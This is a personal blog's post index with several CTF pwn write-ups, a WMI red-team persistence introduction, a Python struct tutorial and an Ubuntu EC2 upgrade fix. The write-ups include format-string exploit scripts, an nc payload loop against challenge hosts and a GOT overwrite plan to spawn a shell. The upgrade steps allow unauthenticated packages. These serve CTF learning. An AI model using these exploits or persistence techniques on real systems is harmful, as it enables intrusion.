Posts

  1. Upgrading an Amazon EC2 Instance from Ubuntu Trusty to Xenial


    I had a bad time.
    I ran a do-release-upgrade on one of my Amazon EC2 instances to try and upgrade it from 14.04 (Trusty) to 16.04 (Xenial). After the update and a reboot the box refused to come back up. When I detached the drive and attached it to another to check syslog I found this:

    /sbin/dhclient -1 -v -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
    Usage: dhclient [-4|-6] [-SNTP1dvrx] [-nw] [-p <port>] [-D LL|LLT]
                 [-s server-addr] [-cf config-file] [-lf lease-file]
                 [-pf pid-file] [--no-pid] [-e VAR=val]
                 [-sf script-file] [interface]
    Failed to bring up eth0.
    

    Oh good, it forgot how to eth0.
    I spent about four hours figuring out how to fix it:

    apt update
    apt -y upgrade
    cat  << EOF > /etc/update-manager/release-upgrades.d/unauth.cfg
    [Distro]
    AllowUnauthenticated=yes
    EOF
    apt install -y network-manager
    do-release-upgrade
    apt update
    apt -y upgrade
    systemctl enable systemd-networkd
    systemctl enable systemd-resolved
    dpkg-reconfigure resolvconf
    apt-get -y autoremove
    rm /etc/update-manager/release-upgrades.d/unauth.cfg
    reboot
    
    1. Make sure you are up to date first.
    2. Some packages (python3) complain that they are unauthenticated. Feel free to skip this if you want.
    3. Install the network-manager
    4. Leap of faith... do the upgrade
    5. Finish the upgrade by installing the rest of the packages.
    6. Enable the systemd network daemon and resolver daemon
    7. Reconfigure resolvconf so you can dns
    8. Get rid of the unauth.cfg file you created
    9. Reboot and pray.

    Thanks to these three links for the solutions (I just put them together):
    - https://askubuntu.com/a/426121
    - https://askubuntu.com/a/769239
    - http://willhaley.com/blog/resolvconf-dns-issue-after-ubuntu-xenial-upgrade/

  2. Scheduling Callbacks with WMI in C++


    I am going to be starting a series of posts on what I have learned on Windows pentesting and post exploitation. These posts will have a heavy focus on red teaming for competitions and cyber exercises. I am not a pentester, but I think some of the places to hide in Windows are cool so I want to write about them. These posts will include code snippets in powershell and C++. Much of this code I had to figure out how to write using the MSDN docs alone and feel that it is useful to put on the internet somewhere so others don't have to go through so much hassle to make it work.

    The topic of this post is scheduling persistent callbacks with Windows Management Instrumentation (WMI).

    WMI Explained (in brief)

    Essentially, WMI is an interface for configuration and information gathering on Windows systems. It is installed by default on Windows ME and up, which makes it a valuable resource for sysadmins and attackers. It contains information about all aspects of the system including processes, attached devices, and (I'm not kidding) games registered with Windows (wmic /namespace:\\root\cimv2\applications\games PATH game get). There is a lot of information here which will not be covered in this post. Exploration of what more WMI has to offer is left as an exercise to the reader!

    The interface consists of namespaces, classes, and instances of classes. Namespaces contain different classes and instances are instances of classes in a namespace. Think of a namespace as a database, a class as a table schema, and an instance as a row in that table. Instances can have properties and callable methods. One of the standard examples of method calling in WMI is creating a process with the WMI command line interface command wmic:

    wmic process call create calc.exe
    

    The above line will spawn calc.exe as the current user. ...


    Check out the full post for more details!

  3. A Better Way to Work with Raw Data Types in Python


    Working with raw data in any language can be a pain. If you are a developer there are many solutions to make it easier such as Google's Protocol Buffers. If you are a reverse engineer these methods can be too bulky especially if you are trying to quickly script an exploit (perhaps in a CTF where time is constrained). Python has always been my go-to language for exploit dev and general script writing but working with raw datatypes using just pack and unpack from the struct module is annoying and leaves much to be desired. I'm here to tell you that if you are still using pack and unpack for complex datatypes there is a better way.

    For the sake of this post we will attempt to work with the raw datatypes below defined as a C structures:

    typedef struct __attribute__((packed)) NestedStruct_ {
        unsigned char flags[3];
        uint8_t val1;
        uint8_t val2;
    } NestedStruct;
    
    typedef struct __attribute__((packed)) ExampleNetworkPacket_ {
        uint16_t version;
        uint16_t reserved;
        uint32_t sanity;
        NestedStruct ns;
        uint32_t datalen;
        unsigned char data[0];
    } ExampleNetworkPacket;
    

    The total size of the ExampleNetworkPacket structure will be 17 bytes plus any data appended on it.

    As a side note I just recently learned that the last element of the ExampleNetworkPacket is valid C and is useful to be a pointer to the end of the structure instead of having to do this:

    unsigned char data = (unsigned char*)(examplenetworkpacketptr + sizeof(ExampleNetworkPacket));
    

    Neat.
    ...


    Check out the full post for more details!

  4. Python for Hackers


    This is getting posted a bit late, but here is a presentation I gave remote for RIT's Competitive Cybersecurity Club Conference (RC4) 2016 on python tricks for hackers. It's a collection of things that I often use within python that make writing functional tools easier.

  5. MMACTF 2016 - Greeting


    Challenge description:

    Pwn
    Host : pwn2.chal.ctf.westerns.tokyo
    Port : 16317

    Reversing and Finding the Bug

    Reversing with radare2:

    Looks like another textbook format string vulnerability because the user buffer is put into sprintf and then straight into printf. This time I had to actually do the work of getting code execution because the flag was not loaded onto the stack.

    Running the binary

    I wanted to see the bug in action so I loaded up my Ubuntu VM using vagrant and checked it out:

     ./greeting
    Hello, I'm nao!
    Please tell me your name... %08x
    Nice to meet you, 080487d0 :)
    

    Neat. Now for exploitation.

    Background

    For information on printf and a more basic format string exploit, check out the post I did on the judgement pwn challenge also from this CTF. In addition to having positional arguments, printf also has a cool feature where you can write the number of bytes that have been printed so far to a variable. This feature is what makes format string vulnerabilities so dangerous. If you can exploit one, you can get arbitrary write.

    Passing %hn to printf in the format string will write up to a half word value of the number of characters written so far. Combining this with positional arguments allows for half a word at a time to be written to anywhere. So this is bad.

    If you are interested in learning more about how format string vulnerabilities work then check out this paper

    Exploitation

    I decided to use libformatstr for this because I have never used it before and it seemed useful so I didn't have to craft the buffer manually.

    The payload function takes two arguments: an argument number and a padding number. The offset number is the word distance in memory away from your input and the padding is the number of bytes your input needs to be padded for the addresses you enter to be word aligned. Libformatstr can be used to determine these numbers:

    from pwn import *
    from libformatstr import *
    
    e = ELF("./greeting")
    r = process(e.path)
    
    r.sendline(make_pattern(0x40))
    r.recvuntil("you, ")
    res = r.recv()
    print(res)
    argnum, padding = guess_argnum(res, 0x40)
    log.info("argnum: {}, padding: {}".format(argnum, padding))
    

    Running this resulted in an output of argnum: 12, padding: 2. There was one other bit that needed to be changed as well. Since "Nice to meet you, " was being prepended to my input I had to set an additional argument when setting up the format string exploit called start_num.

    Armed with the argument number, padding, and start number I was ready to try and overwrite some values. The issue I ran into was that there are no function calls after the call to printf in main. I though of trying to overwrite a destructor (dtors), but there were none. I came across a way to overwrite the fini section of a binary to execute a function when the program was supposed to be quitting. I could not find much documentation on exactly what I needed to overwrite to make this work so I just used objdump and grep to find the symbols with fini in the name:

    → objdump -t greeting | grep fini
    08048780 l    d  .fini  00000000              .fini
    08049934 l    d  .fini_array    00000000              .fini_array
    08049934 l     O .fini_array    00000000              __do_global_dtors_aux_fini_array_entry
    08048740 g     F .text  00000002              __libc_csu_fini
    08048780 g     F .fini  00000000              _fini
    

    Five choices. Through trial and error I determined that overwriting whatever was at __do_global_dtors_aux_fini_array_entry gave me control of the program.

    My plan of attack became the following:
    1. Overwrite __do_global_dtors_aux_fini_array_entry with main
    2. Overwrite the GOT entry for strlen with system
    3. Write the full format string line into the program
    4. When main executes the second time, write /bin/sh so that the call to strlen in the getnline function executes system("/bin/sh") and gives me a shell!

    I wrote the following script to do the above:

    Running it resulted in the flag :)

     python greet2.py REMOTE
    [*] '/home/vagrant/CTF/tokyo/greeting'
        Arch:     i386-32-little
        RELRO:    No RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE
    [x] Opening connection to pwn2.chal.ctf.westerns.tokyo on port 16317
    [x] Opening connection to pwn2.chal.ctf.westerns.tokyo on port 16317: Trying 40.74.112.206
    [+] Opening connection to pwn2.chal.ctf.westerns.tokyo on port 16317: Done
    [+] Wrote system onto strlen and main onto fini... trying shell
    [+] got shell
    [+] Flag: TWCTF{51mpl3_FSB_r3wr173_4nyw4r3}
    [*] Closed connection to pwn2.chal.ctf.westerns.tokyo port 16317
    

    W00t!
    TWCTF{51mpl3_FSB_r3wr173_4nyw4r3}

  6. MMACTF 2016 - Judgement


    Challenge description:

    Pwn Warmup
    Host : pwn1.chal.ctf.westerns.tokyo
    Port : 31729

    This was a binary pwn challenge, so I loaded it up in radare2 to take a look:

    Looks like a textbook format string vulnerability. printf has a positional arguments feature so normally you can specify which argument you want to use if you are the programmer. The following is an example use case of this:

    printf("3rd argument: %3$08x, 1st argument: %1$c\n", 'a', "unused", 0x41414141);
    

    This will print "3rd argument: 0x41414141, 1st argument: a"

    Format string vulnerabilities occur when a user controlled buffer is passed to printf. When printf is called it reads things off of the stack (function arguments) to print. Because the input buffer is passed straight in it allows reads off of the stack.

    Since the address of the flag was loaded on the stack before the main function it was somewhere reachable by printfs positional arguments.

    I just wrote a loop to brute force the exact offset number and spit out the flag:

     for i in {10..50}; do echo "%$i\$s" | nc pwn1.chal.ctf.westerns.tokyo 31729; done | grep CTF
    Input flag >> TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}
    Input flag >> TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}
    Input flag >> TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}
    

    I got it more than once... but I got it.

    TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}

  7. CTFX 2016 - dat-boinary


    Reversing the Binary

    This challenge provided two binaries: dat-boinary and libc.so.6. Usually this combination requires you to leak memory, calculate offsets, and call system or an exec function from libc. With that in mind I jumped right in to reversing with radare2. The functions are rather large so I will leave this as an exercise to the reader. The binary can be found here.

    The first block of main allocates a dynamic buffer of size 0x80 with malloc and gets a "meme id" of up to 9 bytes that is stored in ebp-0x20. The next block provides five menu options: update the meme id, update the meme dankness, update meme content, print meme contents, and the super secret meme option. The first 4 are pretty straight forward, while the last is not so much.

    Stack locations of interest are:

    • ebp-0xc - location of menu choice (4 bytes)
    • ebp-0x10 - Temporary storage for the dankness of the meme (4 bytes)
    • ebp-0x14 - malloced buffer for meme content - (4 byte pointer)
    • ebp-0x18 - Meme dankness if the temporary dankness is greater than 0x7f (4 bytes)
    • ebp-0x20 - meme id location (8 bytes)

    After some trial and error in gdb I noticed that the initial fgets for the id of the meme takes 9 characters instead of the provided 8. This would prove useful later.

    Setting the meme id using the menu option used the length of the preexisting id to know how much to read from the user. This will also be useful, because as long as null bytes in the meme dankness can be avoided then the pointer to the malloced buffer can be overwritten and arbitrary write can be achieved. The only issue here is that this bug can only be triggered once without somehow making strlen return more than the actual strlen of the buffer. Again, that's a task for after investigation.

    Setting the dankness involved reading in a number into ebp-0x10 (temporary dankness storage), checking if it was over 0x7f, and then moving it into the meme dankness memory location (ebp-0x18) if that check was false. This is a problem because the meme dankness is directly before the pointer that I wanted to overwrite.

    The update content option does exactly what one would expect, but with one additional check: it uses fgets to read into the buffer allocated by malloc. The number of bytes it reads is the dankness number. Before anything is read it checks if the dankness is over 0x80, because that would cause a buffer overflow.

    Print contents is also straight forward; it prints the content of the meme with a proper call to printf.

    Finally, the secret meme function is passed the meme id buffer and then calls secret_meme. The secret_meme function sets meme id + 8 to 0x69696969 and prints something...

    ...


    Check out the full post for more details!

  8. IceCTF 2016 - So Close


    Challenge description

    Yet so far :( /home/so_close on the shell.

    Jumping right in I checked the binary's security with checksec and loaded it up in radare2:

    No NX and a call to read over stack data... sounds like a simple stack based buffer overflow. ...


    Check out the full post for more details!

  9. IceCTF 2016 - ROPi


    Challenge description:

    Ritorno orientata programmazione nc ropi.vuln.icec.tf 6500

    The binary provided with the challenge was an x86 ELF. I started by reversing it with radare2:

    Feel free to stop the video above to look at the functions! The main function just calls ezy, which reads 0x40 bytes on top of a buffer that is 0x28 bytes in size. This means that we are running 0x18 bytes over the buffer. The first 4 bytes after those 0x28 overwrite the saved EBP and then the next 4 overwrite EIP. To test this theory we load up the binary in gdb and put in 0x28 bytes, plus BBBB to overwrite EBP, then iiii to overwrite EIP:

    ...


    Check out the full post for more details!

  10. IceCTF 2016 - A Strong Feeling


    Challenge description:

    Do you think you could defeat this password checker for us? It's making me real pissed off! /home/a_strong_feeling/ on the shell or download it here

    I started by loading the bin into radare2 and once I realized how big the main function was I just tried running it with input.

    It looks like the sentence returned is different the more characters we get right and the same if we get the same number wrong. I had the idea to write a python script with pwntools that ran the binary over and over until a different sentence was produced:

    from pwn import *
    import string
    charset = string.ascii_letters + string.digits + "{}_#"
    context.log_level = 'error'
    
    flag = "I"
    b = ELF("./strong_feeling")
    
    p = process(b.path)
    p.sendline(flag)
    out = p.recvall()
    
    while flag[-1] != '}':
        for c in charset:
            p = process(b.path)
            p.sendline(flag+c)
            newout = p.recvall()
            if newout != out:
                out = newout
                flag += c
                print flag
                continue
    

    The results were quite satisfying:

    Flag acquired

    IceCTF{pip_install_angr}

    And yes I realize now that this could have just been solved with angr, but this was a cool way to do it too!